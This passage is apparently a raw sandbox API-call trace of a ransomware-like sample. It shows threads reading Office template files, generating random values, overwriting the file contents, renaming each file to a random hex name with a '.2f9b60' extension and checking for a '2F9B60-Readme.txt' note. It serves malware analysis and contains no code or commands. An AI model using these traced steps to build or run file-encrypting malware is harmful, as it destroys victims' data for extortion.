(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0145.552] SetFilePointerEx (in: hFile=0x1f0c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0145.552] WriteFile (in: hFile=0x1f0c, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x4029f810, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x4029f810*=0x10c, lpOverlapped=0x0) returned 1 [0145.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0145.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504c90 [0145.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260350 [0145.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x20260350 [0145.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263740 [0145.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0145.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0145.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504c90) returned 1 [0145.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0145.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0145.564] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="99") returned 2 [0145.564] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="fc") returned 2 [0145.564] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="81") returned 2 [0145.564] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="03") returned 2 [0145.564] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="0c") returned 2 [0145.564] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="70") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="69") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="91") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="40") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="ab") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="63") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="ee") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="a7") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="87") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="36") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="c1") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="d4") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="a5") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="10") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="ae") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="e7") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="65") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="25") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="04") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="ef") returned 2 [0145.565] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="c1") returned 2 [0145.565] RtlInitAnsiString (in: DestinationString=0x4029f888, SourceString="99fc81030c70699140ab63eea78736c1d4a510aee7652504efc1" | out: DestinationString="99fc81030c70699140ab63eea78736c1d4a510aee7652504efc1") [0145.565] RtlAnsiStringToUnicodeString (in: DestinationString=0x4029f858, SourceString="99fc81030c70699140ab63eea78736c1d4a510aee7652504efc1", AllocateDestinationString=1 | out: DestinationString="99fc81030c70699140ab63eea78736c1d4a510aee7652504efc1") returned 0x0 [0145.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x20503e10 [0145.566] RtlFreeAnsiString (AnsiString="9") [0145.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0145.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260350) returned 1 [0145.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263740) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a64d0) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7040) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a63b0) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6c50) returned 1 [0145.567] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6890) returned 1 [0145.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7970) returned 1 [0145.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7a60) returned 1 [0145.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1e10 [0145.568] wcscat (in: _Dest=0x202b1e10, _Source="99fc81030c706" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706" [0145.568] wcscat (in: _Dest=0x202b1e10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706.2f9b60" [0145.568] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706.2f9b60", NtPathName=0x4029f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\99fc81030c706.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0145.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278530 [0145.568] NtSetInformationFile (FileHandle=0x1f0c, IoStatusBlock=0x4029f8d0, FileInformation=0x20278530, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0145.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278530) returned 1 [0145.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd300) returned 1 [0145.572] NtQueryInformationFile (in: FileHandle=0x1f0c, IoStatusBlock=0x4029f898, FileInformation=0x4029f8a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4029f898, FileInformation=0x4029f8a8) returned 0x0 [0145.572] NtSetInformationFile (FileHandle=0x1f0c, IoStatusBlock=0x4029f898, FileInformation=0x4029f8a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1e10) returned 1 [0145.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.575] FlushFileBuffers (hFile=0x1f0c) returned 1 [0145.988] CloseHandle (hObject=0x1f0c) returned 1 [0145.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4dda0 [0146.000] wcscpy (in: _Dest=0x1cf4dda0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0146.000] wcscat (in: _Dest=0x1cf4dda0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0146.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dda0) returned 1 [0146.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bad0) returned 1 Thread: id = 2291 os_tid = 0x1c3c [0145.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx")) returned 0x20 [0145.494] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx", dwFileAttributes=0x20) returned 1 [0145.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\SalesReport.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\salesreport.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd3c [0145.494] GetFileSizeEx (in: hFile=0xd3c, lpFileSize=0x25d0f720 | out: lpFileSize=0x25d0f720*=43245) returned 1 [0145.495] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0xa8e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.495] ReadFile (in: hFile=0xd3c, lpBuffer=0x25d0f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25d0f6e8, lpOverlapped=0x0 | out: lpBuffer=0x25d0f6a0*, lpNumberOfBytesRead=0x25d0f6e8*=0x4, lpOverlapped=0x0) returned 1 [0145.517] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6ce0 [0145.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0145.517] NtQuerySystemTime (in: CurrentTime=0x25d0f5e0 | out: CurrentTime=0x25d0f5e0*=132462177507658000) returned 0x0 [0145.517] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x3b6fe752 [0145.517] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0xd3bc7a2 [0145.517] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x1af2712a [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x54e2b7fc [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x5208015b [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x7aea472e [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x1011ddf0 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0xc49151e [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x7dfe74be [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x480a362 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x43cfe3f9 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x1558e40c [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x22042294 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x712e7505 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x2c1a631e [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x890ca05 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x7869bbdf [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x6f7d9675 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x27fe2b72 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x117b2771 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x39a0c85a [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x5655db02 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x52aa3975 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x75feaf47 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x4dba4778 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x598534ce [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x3aeada3 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x51657663 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x4f9e8d5f [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x21a873bd [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x5ae7976 [0145.518] RtlRandomEx (in: Seed=0x25d0f5d0 | out: Seed=0x25d0f5d0) returned 0x72b1e967 [0145.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7a00 [0145.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7160 [0145.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6170) returned 1 [0145.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0145.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422aa920 [0145.526] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.526] ReadFile (in: hFile=0xd3c, lpBuffer=0x422aa920, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x25d0f640, lpOverlapped=0x0 | out: lpBuffer=0x422aa920*, lpNumberOfBytesRead=0x25d0f640*=0x3c00, lpOverlapped=0x0) returned 1 [0145.543] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0145.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503e10 [0145.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.544] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6740) returned 1 [0145.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a4520 [0145.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0145.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6fb0) returned 1 [0145.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503e10) returned 1 [0145.545] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0145.545] WriteFile (in: hFile=0xd3c, lpBuffer=0x203a4520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x25d0f640, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesWritten=0x25d0f640*=0x3c00, lpOverlapped=0x0) returned 1 [0170.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0170.733] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422aa920) returned 1 [0170.733] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7a9e20 [0170.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0170.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0170.734] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c950 [0170.735] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c950) returned 1 [0170.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1b7aa120 [0170.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c950 [0170.735] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1c980 [0170.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1c980) returned 1 [0170.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0170.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0170.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x112) returned 0x42c14f30 [0170.737] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0170.737] WriteFile (in: hFile=0xd3c, lpBuffer=0x42c14f30*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x25d0f6f0, lpOverlapped=0x0 | out: lpBuffer=0x42c14f30*, lpNumberOfBytesWritten=0x25d0f6f0*=0x112, lpOverlapped=0x0) returned 1 [0201.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0201.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff6c0 [0201.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff6c0) returned 1 [0201.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff6c0 [0201.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff690 [0201.920] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff960 [0201.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff960) returned 1 [0201.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0201.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce5b930 [0201.922] sprintf (in: _Dest=0x1ce5b930, _Format="%c%c" | out: _Dest="08") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b932, _Format="%c%c" | out: _Dest="4c") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b934, _Format="%c%c" | out: _Dest="f6") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b936, _Format="%c%c" | out: _Dest="ce") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b938, _Format="%c%c" | out: _Dest="91") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b93a, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b93c, _Format="%c%c" | out: _Dest="55") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b93e, _Format="%c%c" | out: _Dest="37") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b940, _Format="%c%c" | out: _Dest="36") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b942, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b944, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b946, _Format="%c%c" | out: _Dest="08") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b948, _Format="%c%c" | out: _Dest="ee") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b94a, _Format="%c%c" | out: _Dest="52") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b94c, _Format="%c%c" | out: _Dest="65") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b94e, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b950, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b952, _Format="%c%c" | out: _Dest="14") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b954, _Format="%c%c" | out: _Dest="a7") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b956, _Format="%c%c" | out: _Dest="63") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b958, _Format="%c%c" | out: _Dest="d3") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b95a, _Format="%c%c" | out: _Dest="63") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b95c, _Format="%c%c" | out: _Dest="ca") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b95e, _Format="%c%c" | out: _Dest="e7") returned 2 [0201.922] sprintf (in: _Dest=0x1ce5b960, _Format="%c%c" | out: _Dest="79") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b962, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b964, _Format="%c%c" | out: _Dest="71") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b966, _Format="%c%c" | out: _Dest="0a") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b968, _Format="%c%c" | out: _Dest="33") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b96a, _Format="%c%c" | out: _Dest="5f") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b96c, _Format="%c%c" | out: _Dest="ff") returned 2 [0201.923] sprintf (in: _Dest=0x1ce5b96e, _Format="%c%c" | out: _Dest="08") returned 2 [0201.923] RtlInitAnsiString (in: DestinationString=0x25d0f768, SourceString="084cf6ce917c553736ee1f08ee52658ec614a763d363cae779cf710a335fff08" | out: DestinationString="084cf6ce917c553736ee1f08ee52658ec614a763d363cae779cf710a335fff08") [0201.923] RtlAnsiStringToUnicodeString (in: DestinationString=0x25d0f738, SourceString="084cf6ce917c553736ee1f08ee52658ec614a763d363cae779cf710a335fff08", AllocateDestinationString=1 | out: DestinationString="084cf6ce917c553736ee1f08ee52658ec614a763d363cae779cf710a335fff08") returned 0x0 [0201.923] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43107f50 [0201.923] wcscat (in: _Dest=0x431978a0, _Source="084cf6ce917c5537" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537" [0201.923] wcscat (in: _Dest=0x431978a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537.2f9b60" [0201.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537.2f9b60", NtPathName=0x25d0f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\084cf6ce917c5537.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.924] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x4314c2e0 Thread: id = 2292 os_tid = 0x1c38 [0145.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx")) returned 0x20 [0145.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx", dwFileAttributes=0x20) returned 1 [0145.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\QuizShow.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\quizshow.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14fc [0145.498] GetFileSizeEx (in: hFile=0x14fc, lpFileSize=0x3ffbf780 | out: lpFileSize=0x3ffbf780*=95895) returned 1 [0145.498] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x17693, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.498] ReadFile (in: hFile=0x14fc, lpBuffer=0x3ffbf700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3ffbf748, lpOverlapped=0x0 | out: lpBuffer=0x3ffbf700*, lpNumberOfBytesRead=0x3ffbf748*=0x4, lpOverlapped=0x0) returned 1 [0145.527] SetFilePointerEx (in: hFile=0x14fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.527] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6740 [0145.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6170 [0145.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6fb0 [0145.528] NtQuerySystemTime (in: CurrentTime=0x3ffbf640 | out: CurrentTime=0x3ffbf640*=132462177507658000) returned 0x0 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x2420f6c [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x748f7212 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0x4538a8bb [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | out: Seed=0x3ffbf630) returned 0xb1cc3e6 [0145.528] RtlRandomEx (in: Seed=0x3ffbf630 | 